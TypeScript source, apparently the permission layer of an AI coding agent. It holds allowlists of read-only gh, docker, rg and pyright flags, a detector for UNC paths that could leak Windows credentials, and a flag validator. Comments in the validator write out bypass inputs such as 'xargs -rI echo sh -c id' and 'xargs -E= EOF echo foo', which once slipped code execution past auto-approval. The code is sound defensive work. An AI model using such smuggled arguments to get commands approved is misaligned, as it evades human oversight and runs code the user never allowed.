      '--base': 'string',
      '--head': 'string',
      '--search': 'string',
      '--json': 'string',
      '--draft': 'none',
      '--app': 'string',
      '--repo': 'string',
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh pr diff is read-only β€” shows pull request diff
  'gh pr diff': {
    safeFlags: {
      '--color': 'string',
      '--name-only': 'none',
      '--patch': 'none',
      '--repo': 'string',
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh pr checks is read-only β€” shows CI status checks
  'gh pr checks': {
    safeFlags: {
      '--watch': 'none',
      '--required': 'none',
      '--fail-fast': 'none',
      '--json': 'string',
      '--interval': 'number',
      '--repo': 'string',
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh issue view is read-only β€” displays issue details
  'gh issue view': {
    safeFlags: {
      '--json': 'string',
      '--comments': 'none',
      '--repo': 'string',
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh issue list is read-only β€” lists issues
  'gh issue list': {
    safeFlags: {
      '--state': 'string',
      '-s': 'string',
      '--assignee': 'string',
      '--author': 'string',
      '--label': 'string',
      '--limit': 'number',
      '-L': 'number',
      '--milestone': 'string',
      '--search': 'string',
      '--json': 'string',
      '--app': 'string',
      '--repo': 'string',
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh repo view is read-only β€” displays repository details
  // NOTE: gh repo view uses a positional argument, not --repo/-R flags
  'gh repo view': {
    safeFlags: {
      '--json': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh run list is read-only β€” lists workflow runs
  'gh run list': {
    safeFlags: {
      '--branch': 'string', // Filter by branch
      '-b': 'string',
      '--status': 'string', // Filter by status
      '-s': 'string',
      '--workflow': 'string', // Filter by workflow
      '-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
      '--limit': 'number', // Max results
      '-L': 'number',
      '--json': 'string', // JSON field selection
      '--repo': 'string', // Target repository
      '-R': 'string',
      '--event': 'string', // Filter by event type
      '-e': 'string',
      '--user': 'string', // Filter by user
      '-u': 'string',
      '--created': 'string', // Filter by creation date
      '--commit': 'string', // Filter by commit SHA
      '-c': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh run view is read-only β€” displays a workflow run's details
  'gh run view': {
    safeFlags: {
      '--log': 'none', // Show full run log
      '--log-failed': 'none', // Show log for failed steps only
      '--exit-status': 'none', // Exit with run's status code
      '--verbose': 'none', // Show job steps
      '-v': 'none', // NOTE: -v is --verbose here, NOT --web
      '--json': 'string', // JSON field selection
      '--repo': 'string', // Target repository
      '-R': 'string',
      '--job': 'string', // View a specific job by ID
      '-j': 'string',
      '--attempt': 'number', // View a specific attempt
      '-a': 'number',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh auth status is read-only β€” displays authentication state
  // NOTE: --show-token/-t intentionally excluded (leaks secrets)
  'gh auth status': {
    safeFlags: {
      '--active': 'none', // Display active account only
      '-a': 'none',
      '--hostname': 'string', // Check specific hostname
      '-h': 'string',
      '--json': 'string', // JSON field selection
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh pr status is read-only β€” shows your PRs
  'gh pr status': {
    safeFlags: {
      '--conflict-status': 'none', // Display merge conflict status
      '-c': 'none',
      '--json': 'string', // JSON field selection
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh issue status is read-only β€” shows your issues
  'gh issue status': {
    safeFlags: {
      '--json': 'string', // JSON field selection
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh release list is read-only β€” lists releases
  'gh release list': {
    safeFlags: {
      '--exclude-drafts': 'none', // Exclude draft releases
      '--exclude-pre-releases': 'none', // Exclude pre-releases
      '--json': 'string', // JSON field selection
      '--limit': 'number', // Max results
      '-L': 'number',
      '--order': 'string', // Order: asc|desc
      '-O': 'string',
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh release view is read-only β€” displays release details
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh release view': {
    safeFlags: {
      '--json': 'string', // JSON field selection
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh workflow list is read-only β€” lists workflow files
  'gh workflow list': {
    safeFlags: {
      '--all': 'none', // Include disabled workflows
      '-a': 'none',
      '--json': 'string', // JSON field selection
      '--limit': 'number', // Max results
      '-L': 'number',
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh workflow view is read-only β€” displays workflow summary
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh workflow view': {
    safeFlags: {
      '--ref': 'string', // Branch/tag with workflow version
      '-r': 'string',
      '--yaml': 'none', // View workflow yaml
      '-y': 'none',
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh label list is read-only β€” lists labels
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh label list': {
    safeFlags: {
      '--json': 'string', // JSON field selection
      '--limit': 'number', // Max results
      '-L': 'number',
      '--order': 'string', // Order: asc|desc
      '--search': 'string', // Search label names
      '-S': 'string',
      '--sort': 'string', // Sort: created|name
      '--repo': 'string', // Target repository
      '-R': 'string',
    },
    additionalCommandIsDangerousCallback: ghIsDangerousCallback,
  },
  // gh search repos is read-only β€” searches repositories
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh search repos': {
    safeFlags: {
      '--archived': 'none', // Filter by archived state
      '--created': 'string', // Filter by creation date
      '--followers': 'string', // Filter by followers count
      '--forks': 'string', // Filter by forks count
      '--good-first-issues': 'string', // Filter by good first issues
      '--help-wanted-issues': 'string', // Filter by help wanted issues
      '--include-forks': 'string', // Include forks: false|true|only
      '--json': 'string', // JSON field selection
      '--language': 'string', // Filter by language
      '--license': 'string', // Filter by license
      '--limit': 'number', // Max results
      '-L': 'number',
      '--match': 'string', // Restrict to field: name|description|readme
      '--number-topics': 'string', // Filter by number of topics
      '--order': 'string', // Order: asc|desc
      '--owner': 'string', // Filter by owner
      '--size': 'string', // Filter by size range
      '--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
      '--stars': 'string', // Filter by stars
      '--topic': 'string', // Filter by topic
      '--updated': 'string', // Filter by update date
      '--visibility': 'string', // Filter: public|private|internal
    },
  },
  // gh search issues is read-only β€” searches issues
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh search issues': {
    safeFlags: {
      '--app': 'string', // Filter by GitHub App author
      '--assignee': 'string', // Filter by assignee
      '--author': 'string', // Filter by author
      '--closed': 'string', // Filter by closed date
      '--commenter': 'string', // Filter by commenter
      '--comments': 'string', // Filter by comment count
      '--created': 'string', // Filter by creation date
      '--include-prs': 'none', // Include PRs in results
      '--interactions': 'string', // Filter by interactions count
      '--involves': 'string', // Filter by involvement
      '--json': 'string', // JSON field selection
      '--label': 'string', // Filter by label
      '--language': 'string', // Filter by language
      '--limit': 'number', // Max results
      '-L': 'number',
      '--locked': 'none', // Filter locked conversations
      '--match': 'string', // Restrict to field: title|body|comments
      '--mentions': 'string', // Filter by user mentions
      '--milestone': 'string', // Filter by milestone
      '--no-assignee': 'none', // Filter missing assignee
      '--no-label': 'none', // Filter missing label
      '--no-milestone': 'none', // Filter missing milestone
      '--no-project': 'none', // Filter missing project
      '--order': 'string', // Order: asc|desc
      '--owner': 'string', // Filter by owner
      '--project': 'string', // Filter by project
      '--reactions': 'string', // Filter by reaction count
      '--repo': 'string', // Filter by repository
      '-R': 'string',
      '--sort': 'string', // Sort field
      '--state': 'string', // Filter: open|closed
      '--team-mentions': 'string', // Filter by team mentions
      '--updated': 'string', // Filter by update date
      '--visibility': 'string', // Filter: public|private|internal
    },
  },
  // gh search prs is read-only β€” searches pull requests
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh search prs': {
    safeFlags: {
      '--app': 'string', // Filter by GitHub App author
      '--assignee': 'string', // Filter by assignee
      '--author': 'string', // Filter by author
      '--base': 'string', // Filter by base branch
      '-B': 'string',
      '--checks': 'string', // Filter by check status
      '--closed': 'string', // Filter by closed date
      '--commenter': 'string', // Filter by commenter
      '--comments': 'string', // Filter by comment count
      '--created': 'string', // Filter by creation date
      '--draft': 'none', // Filter draft PRs
      '--head': 'string', // Filter by head branch
      '-H': 'string',
      '--interactions': 'string', // Filter by interactions count
      '--involves': 'string', // Filter by involvement
      '--json': 'string', // JSON field selection
      '--label': 'string', // Filter by label
      '--language': 'string', // Filter by language
      '--limit': 'number', // Max results
      '-L': 'number',
      '--locked': 'none', // Filter locked conversations
      '--match': 'string', // Restrict to field: title|body|comments
      '--mentions': 'string', // Filter by user mentions
      '--merged': 'none', // Filter merged PRs
      '--merged-at': 'string', // Filter by merge date
      '--milestone': 'string', // Filter by milestone
      '--no-assignee': 'none', // Filter missing assignee
      '--no-label': 'none', // Filter missing label
      '--no-milestone': 'none', // Filter missing milestone
      '--no-project': 'none', // Filter missing project
      '--order': 'string', // Order: asc|desc
      '--owner': 'string', // Filter by owner
      '--project': 'string', // Filter by project
      '--reactions': 'string', // Filter by reaction count
      '--repo': 'string', // Filter by repository
      '-R': 'string',
      '--review': 'string', // Filter by review status
      '--review-requested': 'string', // Filter by review requested
      '--reviewed-by': 'string', // Filter by reviewer
      '--sort': 'string', // Sort field
      '--state': 'string', // Filter: open|closed
      '--team-mentions': 'string', // Filter by team mentions
      '--updated': 'string', // Filter by update date
      '--visibility': 'string', // Filter: public|private|internal
    },
  },
  // gh search commits is read-only β€” searches commits
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh search commits': {
    safeFlags: {
      '--author': 'string', // Filter by author
      '--author-date': 'string', // Filter by authored date
      '--author-email': 'string', // Filter by author email
      '--author-name': 'string', // Filter by author name
      '--committer': 'string', // Filter by committer
      '--committer-date': 'string', // Filter by committed date
      '--committer-email': 'string', // Filter by committer email
      '--committer-name': 'string', // Filter by committer name
      '--hash': 'string', // Filter by commit hash
      '--json': 'string', // JSON field selection
      '--limit': 'number', // Max results
      '-L': 'number',
      '--merge': 'none', // Filter merge commits
      '--order': 'string', // Order: asc|desc
      '--owner': 'string', // Filter by owner
      '--parent': 'string', // Filter by parent hash
      '--repo': 'string', // Filter by repository
      '-R': 'string',
      '--sort': 'string', // Sort: author-date|committer-date
      '--tree': 'string', // Filter by tree hash
      '--visibility': 'string', // Filter: public|private|internal
    },
  },
  // gh search code is read-only β€” searches code
  // NOTE: --web/-w intentionally excluded (opens browser)
  'gh search code': {
    safeFlags: {
      '--extension': 'string', // Filter by file extension
      '--filename': 'string', // Filter by filename
      '--json': 'string', // JSON field selection
      '--language': 'string', // Filter by language
      '--limit': 'number', // Max results
      '-L': 'number',
      '--match': 'string', // Restrict to: file|path
      '--owner': 'string', // Filter by owner
      '--repo': 'string', // Filter by repository
      '-R': 'string',
      '--size': 'string', // Filter by size range
    },
  },
}

// ---------------------------------------------------------------------------
// DOCKER_READ_ONLY_COMMANDS β€” docker inspect/logs read-only commands
// ---------------------------------------------------------------------------

export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
  {
    'docker logs': {
      safeFlags: {
        '--follow': 'none',
        '-f': 'none',
        '--tail': 'string',
        '-n': 'string',
        '--timestamps': 'none',
        '-t': 'none',
        '--since': 'string',
        '--until': 'string',
        '--details': 'none',
      },
    },
    'docker inspect': {
      safeFlags: {
        '--format': 'string',
        '-f': 'string',
        '--type': 'string',
        '--size': 'none',
        '-s': 'none',
      },
    },
  }

// ---------------------------------------------------------------------------
// RIPGREP_READ_ONLY_COMMANDS β€” rg (ripgrep) read-only search
// ---------------------------------------------------------------------------

export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
  {
    rg: {
      safeFlags: {
        // Pattern flags
        '-e': 'string', // Pattern to search for
        '--regexp': 'string',
        '-f': 'string', // Read patterns from file

        // Common search options
        '-i': 'none', // Case insensitive
        '--ignore-case': 'none',
        '-S': 'none', // Smart case
        '--smart-case': 'none',
        '-F': 'none', // Fixed strings
        '--fixed-strings': 'none',
        '-w': 'none', // Word regexp
        '--word-regexp': 'none',
        '-v': 'none', // Invert match
        '--invert-match': 'none',

        // Output options
        '-c': 'none', // Count matches
        '--count': 'none',
        '-l': 'none', // Files with matches
        '--files-with-matches': 'none',
        '--files-without-match': 'none',
        '-n': 'none', // Line number
        '--line-number': 'none',
        '-o': 'none', // Only matching
        '--only-matching': 'none',
        '-A': 'number', // After context
        '--after-context': 'number',
        '-B': 'number', // Before context
        '--before-context': 'number',
        '-C': 'number', // Context
        '--context': 'number',
        '-H': 'none', // With filename
        '-h': 'none', // No filename
        '--heading': 'none',
        '--no-heading': 'none',
        '-q': 'none', // Quiet
        '--quiet': 'none',
        '--column': 'none',

        // File filtering
        '-g': 'string', // Glob
        '--glob': 'string',
        '-t': 'string', // Type
        '--type': 'string',
        '-T': 'string', // Type not
        '--type-not': 'string',
        '--type-list': 'none',
        '--hidden': 'none',
        '--no-ignore': 'none',
        '-u': 'none', // Unrestricted

        // Common options
        '-m': 'number', // Max count per file
        '--max-count': 'number',
        '-d': 'number', // Max depth
        '--max-depth': 'number',
        '-a': 'none', // Text (search binary files)
        '--text': 'none',
        '-z': 'none', // Search zip
        '-L': 'none', // Follow symlinks
        '--follow': 'none',

        // Display options
        '--color': 'string',
        '--json': 'none',
        '--stats': 'none',

        // Help and version
        '--help': 'none',
        '--version': 'none',
        '--debug': 'none',

        // Special argument separator
        '--': 'none',
      },
    },
  }

// ---------------------------------------------------------------------------
// PYRIGHT_READ_ONLY_COMMANDS β€” pyright static type checker
// ---------------------------------------------------------------------------

export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
  {
    pyright: {
      respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
      safeFlags: {
        '--outputjson': 'none',
        '--project': 'string',
        '-p': 'string',
        '--pythonversion': 'string',
        '--pythonplatform': 'string',
        '--typeshedpath': 'string',
        '--venvpath': 'string',
        '--level': 'string',
        '--stats': 'none',
        '--verbose': 'none',
        '--version': 'none',
        '--dependencies': 'none',
        '--warnings': 'none',
      },
      additionalCommandIsDangerousCallback: (
        _rawCommand: string,
        args: string[],
      ) => {
        // Check if --watch or -w appears as a standalone token (flag)
        return args.some(t => t === '--watch' || t === '-w')
      },
    },
  }

// ---------------------------------------------------------------------------
// EXTERNAL_READONLY_COMMANDS β€” cross-shell read-only commands
// Only commands that work identically in bash and PowerShell on Windows.
// Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
// ---------------------------------------------------------------------------

export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [
  // Cross-platform external tools that work the same in bash and PowerShell on Windows
  'docker ps',
  'docker images',
] as const

// ---------------------------------------------------------------------------
// UNC path detection (shared across Bash and PowerShell)
// ---------------------------------------------------------------------------

/**
 * Check if a path or command contains a UNC path that could trigger network
 * requests (NTLM/Kerberos credential leakage, WebDAV attacks).
 *
 * This function detects:
 * - Basic UNC paths: \\server\share, \\foo.com\file
 * - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
 * - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
 * - Forward-slash variants: //server/share
 *
 * @param pathOrCommand The path or command string to check
 * @returns true if the path/command contains potentially vulnerable UNC paths
 */
export function containsVulnerableUncPath(pathOrCommand: string): boolean {
  // Only check on Windows platform
  if (getPlatform() !== 'windows') {
    return false
  }

  // 1. Check for general UNC paths with backslashes
  // Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
  // Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
  // Trailing accepts both \ and / since Windows treats both as path separators
  const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
  if (backslashUncPattern.test(pathOrCommand)) {
    return true
  }

  // 2. Check for forward-slash UNC paths
  // Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
  // Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
  // while catching // preceded by quotes, =, or any other non-colon character.
  // Trailing accepts both / and \ since Windows treats both as path separators
  const forwardSlashUncPattern =
    // eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
    /(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
  if (forwardSlashUncPattern.test(pathOrCommand)) {
    return true
  }

  // 3. Check for mixed-separator UNC paths (forward slash + backslashes)
  // On Windows/Cygwin, /\ is equivalent to // since both are path separators.
  // In bash, /\\server becomes /\server after escape processing, which is a UNC path.
  // Requires 2+ backslashes after / because a single backslash just escapes the next char
  // (e.g., /\a β†’ /a after bash processing, which is NOT a UNC path).
  const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/
  if (mixedSlashUncPattern.test(pathOrCommand)) {
    return true
  }

  // 4. Check for mixed-separator UNC paths (backslashes + forward slash)
  // \\/server in bash becomes \/server after escape processing, which is a UNC path
  // on Windows since both \ and / are path separators.
  const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/
  if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
    return true
  }

  // 5. Check for WebDAV SSL/port patterns
  // Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
  if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
    return true
  }

  // 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
  // Example: \\server\DavWWWRoot\path
  if (/DavWWWRoot/i.test(pathOrCommand)) {
    return true
  }

  // 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
  // Examples: \\192.168.1.1\share, \\10.0.0.1\path
  if (
    /^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
    /^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)
  ) {
    return true
  }

  // 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
  // Examples: \\[2001:db8::1]\share, \\[::1]\path
  if (
    /^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
    /^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)
  ) {
    return true
  }

  return false
}

// ---------------------------------------------------------------------------
// Flag validation utilities
// ---------------------------------------------------------------------------

// Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/

/**
 * Validates flag arguments based on their expected type
 */
export function validateFlagArgument(
  value: string,
  argType: FlagArgType,
): boolean {
  switch (argType) {
    case 'none':
      return false // Should not have been called for 'none' type
    case 'number':
      return /^\d+$/.test(value)
    case 'string':
      return true // Any string including empty is valid
    case 'char':
      return value.length === 1
    case '{}':
      return value === '{}'
    case 'EOF':
      return value === 'EOF'
    default:
      return false
  }
}

/**
 * Validates the flags/arguments portion of a tokenized command against a config.
 * This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
 *
 * @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
 * @param startIndex - Where to start validating (after command tokens)
 * @param config - The safe flags config
 * @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
 * @param options.rawCommand - For additionalCommandIsDangerousCallback
 * @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
 * @returns true if all flags are valid, false otherwise
 */
export function validateFlags(
  tokens: string[],
  startIndex: number,
  config: ExternalCommandConfig,
  options?: {
    commandName?: string
    rawCommand?: string
    xargsTargetCommands?: string[]
  },
): boolean {
  let i = startIndex

  while (i < tokens.length) {
    let token = tokens[i]
    if (!token) {
      i++
      continue
    }

    // Special handling for xargs: once we find the target command, stop validating flags
    if (
      options?.xargsTargetCommands &&
      options.commandName === 'xargs' &&
      (!token.startsWith('-') || token === '--')
    ) {
      if (token === '--' && i + 1 < tokens.length) {
        i++
        token = tokens[i]
      }
      if (token && options.xargsTargetCommands.includes(token)) {
        break
      }
      return false
    }

    if (token === '--') {
      // SECURITY: Only break if the tool respects POSIX `--` (default: true).
      // Tools like pyright don't respect `--` β€” they treat it as a file path
      // and continue processing subsequent tokens as flags. Breaking here
      // would let `pyright -- --createstub os` auto-approve a file-write flag.
      if (config.respectsDoubleDash !== false) {
        i++
        break // Everything after -- is arguments
      }
      // Tool doesn't respect --: treat as positional arg, keep validating
      i++
      continue
    }

    if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
      // Handle --flag=value format
      // SECURITY: Track whether the token CONTAINS `=` separately from
      // whether the value is non-empty. `-E=` has `hasEquals=true` but
      // `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
      // line ~1813 would fall through to "consume next token" β€” but GNU
      // getopt for short options with mandatory arg sees `-E=` as `-E` with
      // ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
      // differential: validator advances 2 tokens, GNU advances 1.
      //
      // Attack: `xargs -E= EOF echo foo` (zero permissions)
      //   Validator: inlineValue='' falsy β†’ consumes EOF as -E arg β†’ i+=2 β†’
      //     echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS β†’ break β†’ AUTO-ALLOWED
      //   GNU xargs: -E attached arg=`=` β†’ EOF is TARGET COMMAND β†’ CODE EXEC
      //
      // Fix: when hasEquals is true, use inlineValue (even if empty) as the
      // provided arg. validateFlagArgument('', 'EOF') β†’ false β†’ rejected.
      // This is correct for all arg types: the user explicitly typed `=`,
      // indicating they provided a value (empty). Don't consume next token.
      const hasEquals = token.includes('=')
      const [flag, ...valueParts] = token.split('=')
      const inlineValue = valueParts.join('=')

      if (!flag) {
        return false
      }

      const flagArgType = config.safeFlags[flag]

      if (!flagArgType) {
        // Special case: git commands support -<number> as shorthand for -n <number>
        if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
          // This is equivalent to -n flag which is safe for git log/diff/show
          i++
          continue
        }

        // Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
        // Only apply this special handling to grep and rg commands
        if (
          (options?.commandName === 'grep' || options?.commandName === 'rg') &&
          flag.startsWith('-') &&
          !flag.startsWith('--') &&
          flag.length > 2
        ) {
          const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20'
          const potentialValue = flag.substring(2) // e.g., '20' from '-A20'

          if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
            // This is a flag with attached numeric argument
            const flagArgType = config.safeFlags[potentialFlag]
            if (flagArgType === 'number' || flagArgType === 'string') {
              // Validate the numeric value
              if (validateFlagArgument(potentialValue, flagArgType)) {
                i++
                continue
              } else {
                return false // Invalid attached value
              }
            }
          }
        }

        // Handle combined single-letter flags like -nr
        // SECURITY: We must NOT allow any bundled flag that takes an argument.
        // GNU getopt bundling semantics: when an arg-taking option appears LAST
        // in a bundle with no trailing chars, the NEXT argv element is consumed
        // as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
        //   -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
        // Our naive handler previously only checked EXISTENCE in safeFlags (both
        // `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
        // This created a parser differential: our validator thought `echo` was
        // the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS β†’ break), but
        // xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
        //
        // Fix: require ALL bundled flags to have arg type 'none'. If any bundled
        // flag requires an argument (non-'none' type), reject the whole bundle.
        // This is conservative β€” it blocks `-rI` (xargs) entirely, but that's
        // the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
        if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
          for (let j = 1; j < flag.length; j++) {
            const singleFlag = '-' + flag[j]
            const flagType = config.safeFlags[singleFlag]
            if (!flagType) {
              return false // One of the combined flags is not safe
            }
            // SECURITY: Bundled flags must be no-arg type. An arg-taking flag
            // in a bundle consumes the NEXT token in GNU getopt, which our
            // handler doesn't model. Reject to avoid parser differential.
            if (flagType !== 'none') {
              return false // Arg-taking flag in a bundle β€” cannot safely validate
            }
          }
          i++
          continue
        } else {
          return false // Unknown flag
        }
      }

      // Validate flag arguments
      if (flagArgType === 'none') {
        // SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
        // `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
        if (hasEquals) {
          return false // Flag should not have a value
        }
        i++
      } else {
        let argValue: string
        // SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
        // NOT consume next token β€” the user explicitly provided empty value.
        if (hasEquals) {
          argValue = inlineValue
          i++
        } else {
          // Check if next token is the argument
          if (
            i + 1 >= tokens.length ||
            (tokens[i + 1] &&
              tokens[i + 1]!.startsWith('-') &&
              tokens[i + 1]!.length > 1 &&
              FLAG_PATTERN.test(tokens[i + 1]!))
          ) {
            return false // Missing required argument
          }
          argValue = tokens[i + 1] || ''
          i += 2
        }

        // Defense-in-depth: For string arguments, reject values that start with '-'
        // This prevents type confusion attacks where a flag marked as 'string'
        // but actually takes no arguments could be used to inject dangerous flags
        // Exception: git's --sort flag can have values starting with '-' for reverse sorting
        if (flagArgType === 'string' && argValue.startsWith('-')) {
          // Special case: git's --sort flag allows - prefix for reverse sorting
          if (
            flag === '--sort' &&
            options?.commandName === 'git' &&
            argValue.match(/^-[a-zA-Z]/)
          ) {
            // This looks like a reverse sort (e.g., -refname, -version:refname)
            // Allow it if the rest looks like a valid sort key
          } else {
            return false
          }
        }

        // Validate argument based on type
        if (!validateFlagArgument(argValue, flagArgType)) {
          return false
        }
      }
    } else {
      // Non-flag argument (like revision specs, file paths, etc.) - this is allowed
      i++
    }
  }

  return true
}